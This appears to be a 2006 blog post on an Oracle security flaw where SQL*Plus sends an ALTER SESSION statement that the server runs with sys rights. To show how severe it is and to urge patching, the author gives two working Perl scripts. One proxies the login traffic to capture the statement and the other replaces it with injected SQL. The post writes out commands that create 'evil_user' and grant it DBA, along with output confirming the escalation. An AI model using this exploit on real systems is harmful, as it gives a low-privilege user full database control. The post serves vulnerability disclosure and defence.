René Nyffenegger's collection of things on the web | |
René Nyffenegger on Oracle - Most wanted - Feedback
- Follow @renenyffenegger
|
January 24, 2006: On a breakable Oracle | ||
I usually don't do this sort of things, but this time, it seems real serious and I have to urge every dba to
install the January 17th, 2006 critical patch update.
The reason: Imperva has found a security bug
that allows practically anyone to create a user with dba privileges (found via
Pete Finnigan's website).
The bug boils down to the fact that SQL*Plus sends an
alter session set nls... statement to Oracle when it initiates a connection.
This statement is executed by Oracle with the rights of sys. Now, this statement
can easily be replaced with another one. More details can be found at
impervas link.
I verified the severity of this bug with two steps. In the first step, I intercepted the communication between SQL*Plus and the Oracle Server
in order to find out how the
alter session statement in question is transmitted. In the second step, I actually injected two
SQL statements, the first of which creates a new user and the second of which grants dba to the newly created user.
Step 1: tapping the communication between SQL*PLus and Oracle
In order to see what happens when SQL*Plus starts a session, I used this proxy.
For the pretty printing of the exchanged binary data, I used perl hexdumper package.
Here's the Perl script:
proxy_show.pl
use strict; use warnings; use hexdumper; use proxy; open SQLPLUS, ">from_sqlplus.dmp"; # Listen on port 1234, forward requests to # globi, port 1521 my $proxy=new proxy( 1234, 'globi', 1521, \&from_sqlplus, # callback for SQL*Plus' requests \&from_oracle # callback for Oracle's answers ); my $sqlplus_dumper = new hexdumper(16); # Wait for a connection from SQL*Plus $proxy->accept; print SQLPLUS $sqlplus_dumper->end; close SQLPLUS; # This function is called # whenever SQL*Plus makes a request sub from_sqlplus { print SQLPLUS $sqlplus_dumper->write(shift); } # This function is called # whenever Oracle sends something # back to SQL*Plus sub from_oracle { # Not interesting here, so nothing done }
It basically listens on port 1234 and forwards one connection to port 1521 on globi. Obviously, globi is the name of the
server where the instance's listener is located and 1521 the listener's port. 1234 is an arbitrary and unused port on my system.
The script also creates the file
from_sqlplus.dmp where it writes every byte sent from SQL*Plus.
Of course, I had to modify my tnsnames.ora file in order to connect to port 1234 rather
than 1521. I have copied the following entry
ORA10R2 = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = Globi)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = ora10r2) ) )
to
proxy = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = localhost)(PORT = 1234)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = ora10r2) ) )
I also created an Oracle user with only the
create session privilege:
create user only_session_granted identified by some_secret;
The proxy is started ...
$ perl proxy_show.pl
... and only_session_granted connects to the database:
sqlplus only_session_granted/some_secret@proxy
The proxy has written
from_sqlplus.dmp . Here are its relevant portions:
0: 01 05 00 00 01 00 00 00 01 39 01 2c 00 00 08 00 9 , 16: 7f ff c6 0e 00 00 01 00 00 cb 00 3a 00 00 02 00 : 32: 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa [ .. snipped .. ] 1792: 00 12 00 00 00 12 41 55 54 48 5f 41 4c 54 45 52 AUTH_ALTER 1808: 5f 53 45 53 53 49 4f 4e e9 01 00 00 fe ff 41 4c _SESSION AL 1824: 54 45 52 20 53 45 53 53 49 4f 4e 20 53 45 54 20 TER SESSION SET 1840: 4e 4c 53 5f 4c 41 4e 47 55 41 47 45 3d 20 27 41 NLS_LANGUAGE= 'A 1856: 4d 45 52 49 43 41 4e 27 20 4e 4c 53 5f 54 45 52 MERICAN' NLS_TER [ .. snipped .. ] 2064: 41 52 59 27 20 54 49 4d 45 5f 5a 4f 4e ea 45 3d ARY' TIME_ZON E= [ .. snipped .. ] 2288: 2d 52 52 20 48 48 2e 4d 49 2e 53 53 58 46 46 20 -RR HH.MI.SSXFF 2304: 41 4d 20 54 5a 52 27 00 00 00 00 00 00 17 00 00 AM TZR' 2320: 00 17 41 55 54 48 5f 4c 4f 47 49 43 41 4c 5f 53 AUTH_LOGICAL_S 2336: 45 53 53 49 4f 4e 5f 49 44 20 00 00 00 20 44 32 ESSION_ID D2 [ .. snipped .. ]
There are several things to note: 1) The
alter session statement
starts at position 1822. This position is not constant however, it varies from connection to connection.
2) The length of the statement is 489 bytes (2310 - 1822 + 1). This length is constant as the statement
does not vary. It might be different on another system, I have not checked for that. 3) There's a 0xEA byte
at position 2077. 0xEA is the only non-ascii character in the statement. It turns out that this byte is
the 256th of the statement (2077-1822+1). It seems as though it is used to point to the end of the remaining
statement (2077+0xEA-1 = 2077+234-1 = 2310).
With this information, I am ready to inject my statement.
Step 2: Injecting the statement
The statement is injected with another Perl script:
proxy_do_sql.pl
use strict; use warnings; use proxy; # Listen on port 1234, forward requests to # globi, port 1521 my $proxy=new proxy( 1234, 'globi', 1521, \&from_sqlplus, # callback for SQL*Plus' requests \&from_oracle # callback for Oracle's answers ); my $length = 489; my $stmt_search = "ALTER SESSION SET NLS_LANGUAGE= 'AMERICAN'"; my $stmt_inject = $ARGV[0]; # Make both statement 489 bytes long by filling them # with spaces. $stmt_inject .= ' ' x ($length - length($stmt_inject)); $stmt_search .= '.' x ($length - length($stmt_search)); # Put that \xea at position 256: substr($stmt_inject,255,1) = "\xea"; # Wait for a connection from SQL*Plus $proxy->accept; sub from_sqlplus { # replace searched statement with injected statement: if ($_[0] =~ /$stmt_search/) { $_[0] =~ s/$stmt_search/$stmt_inject/; print "Injected: $stmt_inject\n\n"; } } sub from_oracle { # do nothing }
I use this script twice: once to create another user:
$ perl proxy_do_sql.pl "create user evil_user identified by hahaha"
Again, I connect via the proxy to inject the statement:
sqlplus only_session_granted/some_secret@proxy
Then, I use the script to grant dba to evil_user:
$ perl proxy_do_sql.pl "grant dba to evil_user"
Yet again, I need to connect to inject this statement as well:
sqlplus only_session_granted/some_secret@proxy
One wouldn't believe, but evil_user has now the dba role. This time, I do not connect via the proxy:
sqlplus rene/rene@ora10r2 select grantee from dba_role_privs where granted_role = 'DBA'; GRANTEE ------------------------------ SYS SYSMAN FOO RENE SYSTEM EVIL_USER
Knowing this, it seems more than imperative to immediatly install the patch!
Thanks
Thanks to Clemens Scheper who notified me of two errors on this page.
More on OracleThis is an on Oracle article. The most current articles of this series can be found here.
Warning: require(): open_basedir restriction in effect. File(/var/www/virtual/adp-gmbh.ch/forum/comment.inc) is not within the allowed path(s): (/home/httpd/vhosts/renenyffenegger.ch/:/tmp/) in /home/httpd/vhosts/renenyffenegger.ch/adp-gmbh.ch/blog/2006/01/24.php on line 533 Warning: require(/var/www/virtual/adp-gmbh.ch/forum/comment.inc): failed to open stream: Operation not permitted in /home/httpd/vhosts/renenyffenegger.ch/adp-gmbh.ch/blog/2006/01/24.php on line 533 Fatal error: require(): Failed opening required '/var/www/virtual/adp-gmbh.ch/forum/comment.inc' (include_path='.:/home/httpd/vhosts/renenyffenegger.ch') in /home/httpd/vhosts/renenyffenegger.ch/adp-gmbh.ch/blog/2006/01/24.php on line 533 |